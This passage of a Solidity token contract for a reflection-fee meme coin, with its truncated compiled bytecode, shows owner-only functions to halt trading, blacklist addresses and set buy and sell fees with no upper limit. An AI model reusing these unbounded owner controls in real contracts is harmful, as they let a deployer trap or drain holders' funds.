function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600d81526020017f536974684c6f7264536869626100000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600981526020017f5369746853686962610000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b60